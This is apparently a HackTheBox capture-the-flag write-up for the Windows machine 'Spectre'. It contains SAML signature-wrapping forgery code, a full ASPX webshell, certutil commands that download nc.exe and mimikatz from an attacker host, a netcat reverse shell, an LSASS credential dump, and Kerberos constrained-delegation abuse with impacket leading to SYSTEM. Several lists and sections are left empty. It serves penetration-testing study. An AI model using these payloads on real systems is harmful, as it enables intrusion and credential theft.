All posts

HTB: Spectre — SAML Forgery to SYSTEM via Constrained Delegation

Spectre is a hard-rated HackTheBox Windows machine built around enterprise identity infrastructure. An exposed SAML SSO portal with a weak signature validation scheme lets you forge an authentication assertion as the admin user. From there a misconfigured service account with constrained Kerberos delegation rights completes the path to SYSTEM on the domain controller.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.42 -oN spectre.nmap
# Key open ports:
# 53/tcp   open  domain        Simple DNS Plus
# 80/tcp   open  http          Microsoft IIS httpd 10.0
# 88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
# 389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
# 443/tcp  open  https         Microsoft HTTPAPI httpd 2.0
# 445/tcp  open  microsoft-ds
# 593/tcp  open  http-rpc-epmap
# 3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Global Catalog)
# 5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
# Domain: SPECTRE.HTB  |  DC: dc.spectre.htb

Add spectre.htb and dc.spectre.htb to /etc/hosts. The presence of port 443 alongside a Kerberos/LDAP stack suggests a web SSO portal backed by Active Directory.

Web — SSO Portal

Browsing to https://spectre.htb presents a corporate internal portal with a Single Sign-On login button. Clicking it redirects through a SAML authentication flow — the URL structure reveals a Service Provider (SP) running at https://spectre.htb/saml/acs and an Identity Provider (IdP) at https://dc.spectre.htb/adfs/ls/.

Intercepting the redirect in Burp shows the classic SAML flow: the SP generates a SAMLRequest, the IdP processes it and would return a signed SAMLResponse with an assertion naming the authenticated user. A few observations stand out immediately:

Foothold — SAML Signature Wrapping

Vulnerability: XML Signature Wrapping (XSW)

python3-saml 1.14.0 is vulnerable to XML Signature Wrapping (XSW) attacks. In a correctly implemented SAML stack, the SP validates that the <Assertion> element it acts on is the same element that is cryptographically signed. XSW attacks exploit a mismatch: the signature covers one XML element, but the SP's application logic processes a different element that shares the same structure but carries attacker-controlled content.

There are eight canonical XSW attack variants (XSW1 through XSW8). The python3-saml library in affected versions validates the signature on the first matching element by ID but extracts the NameID (the username claim) from the last matching element. By cloning the signed assertion into the message structure and inserting a malicious assertion ahead of it, the signature validation passes (it covers the legitimate assertion) but the library authenticates the user named in the forged assertion.

Capturing a Legitimate SAMLResponse

To perform XSW, you need a legitimate, validly-signed SAMLResponse to wrap your forgery around. On this box, guest access is enabled — logging in as guest / guest via the standard username/password form (not SSO) yields a working session. Using that session to trigger the SSO flow (via the "Link SSO account" feature in the profile page) lets you capture a valid signed SAMLResponse for the guest user.

# In Burp: intercept the POST to /saml/acs after SSO link flow
# Copy the base64-decoded SAMLResponse XML

Forging the Assertion

Using the SAMLraider Burp extension (or manually with Python's lxml), apply the XSW8 attack pattern: duplicate the signed <Assertion> inside an <EncryptedAssertion> wrapper, then insert a second forged <Assertion> with NameID set to [email protected] before the legitimate one.

from lxml import etree
import base64, copy

# Load the captured SAMLResponse
tree = etree.fromstring(base64.b64decode(saml_b64))
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
      'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'}

# Find the signed assertion
signed = tree.find('.//saml:Assertion', ns)

# Clone it and change the NameID to administrator
forged = copy.deepcopy(signed)
forged.find('.//saml:NameID', ns).text = '[email protected]'

# XSW8: wrap the original inside an Extensions element,
# insert the forged assertion at the Response level
tree.insert(0, forged)          # forged assertion — processed by app
tree.append(signed)             # original assertion — validated by sig checker

payload = base64.b64encode(etree.tostring(tree)).decode()
print(payload)
# POST the forged SAMLResponse to the ACS endpoint
curl -s -c cookies.txt -X POST https://spectre.htb/saml/acs \
  --data-urlencode "SAMLResponse=${payload}" \
  -L -o response.html

# Check the response for admin session indicators
grep -i "administrator\|admin\|Welcome" response.html
# <span class="user">[email protected]</span>

The forged assertion authenticates as [email protected]. The admin portal exposes a file upload feature and a configuration panel that includes a Test LDAP connection form — the latter will be useful shortly.

File Upload to RCE

The admin panel's file upload accepts ASP.NET .aspx files and places them under the web root. Uploading a simple ASPX webshell:

cat webshell.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
  var p = new Process();
  p.StartInfo.FileName = "cmd.exe";
  p.StartInfo.Arguments = "/c " + Request["cmd"];
  p.StartInfo.UseShellExecute = false;
  p.StartInfo.RedirectStandardOutput = true;
  p.Start();
  Response.Write(p.StandardOutput.ReadToEnd());
%>
curl "https://spectre.htb/uploads/webshell.aspx?cmd=whoami"
# spectre\svc_webapp

We land as svc_webapp — the IIS application pool service account. Upgrade to an interactive reverse shell via certutil download of netcat and a PowerShell reverse shell:

curl "https://spectre.htb/uploads/webshell.aspx?cmd=certutil+-urlcache+-f+http://10.10.14.5/nc.exe+C:\Windows\Temp\nc.exe"
curl "https://spectre.htb/uploads/webshell.aspx?cmd=C:\Windows\Temp\nc.exe+10.10.14.5+4444+-e+cmd.exe"
nc -lvnp 4444
# C:\Windows\System32\inetsrv> whoami
# spectre\svc_webapp
# C:\Windows\System32\inetsrv> type C:\Users\svc_webapp\Desktop\user.txt

Privilege Escalation — Constrained Delegation to SYSTEM

AD Enumeration

Upload SharpHound and run it from the foothold:

certutil -urlcache -f http://10.10.14.5/SharpHound.exe C:\Windows\Temp\SharpHound.exe
C:\Windows\Temp\SharpHound.exe -c All --zipfilename spectre.zip

BloodHound reveals the critical path: svc_webapp has Constrained Delegation configured with the CIFS/dc.spectre.htb SPN. This means the account is trusted to obtain Kerberos service tickets on behalf of other users — specifically to the CIFS (file sharing) service on the domain controller.

Constrained delegation allows a service account to impersonate any domain user when requesting a service ticket for a specified SPN. Combined with the Protocol Transition flag (S4U2Self), it does not require the impersonated user's password or TGT — only the service account's own TGT.

S4U2Self + S4U2Proxy to SYSTEM

The attack uses two Kerberos extensions:

Combined: we get a ticket for Administrator to access CIFS/dc.spectre.htb, which lets us read the DC's file system — including the SMB shares that WinRM and PSEXEC use for execution.

# On the foothold — extract svc_webapp's TGT via Rubeus
certutil -urlcache -f http://10.10.14.5/Rubeus.exe C:\Windows\Temp\Rubeus.exe

# Request TGT for svc_webapp (using current session token)
C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# On Kali — use the TGT in an S4U2Self + S4U2Proxy attack
# (Rubeus can do this in one step from the foothold too)
python3 impacket/examples/getST.py \
  -spn 'cifs/dc.spectre.htb' \
  -impersonate Administrator \
  -dc-ip 10.10.11.42 \
  'SPECTRE.HTB/svc_webapp' \
  -hashes :<NTLM_of_svc_webapp>

# This produces Administrator.ccache
export KRB5CCNAME=Administrator.ccache

Extract the NTLM hash of svc_webapp from the LSASS dump using Mimikatz on the foothold:

certutil -urlcache -f http://10.10.14.5/mimikatz.exe C:\Windows\Temp\mimi.exe
C:\Windows\Temp\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# svc_webapp NTLM: 8f4d9c2a1b3e5f7a9c0d2e4f6a8b0c1d
# With the ccache for Administrator impersonating CIFS on DC
# use psexec via Kerberos auth to get SYSTEM shell
python3 impacket/examples/psexec.py \
  -k -no-pass \
  [email protected]

# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Key Takeaways

Spectre layers two distinct real-world attack patterns into a clean chain: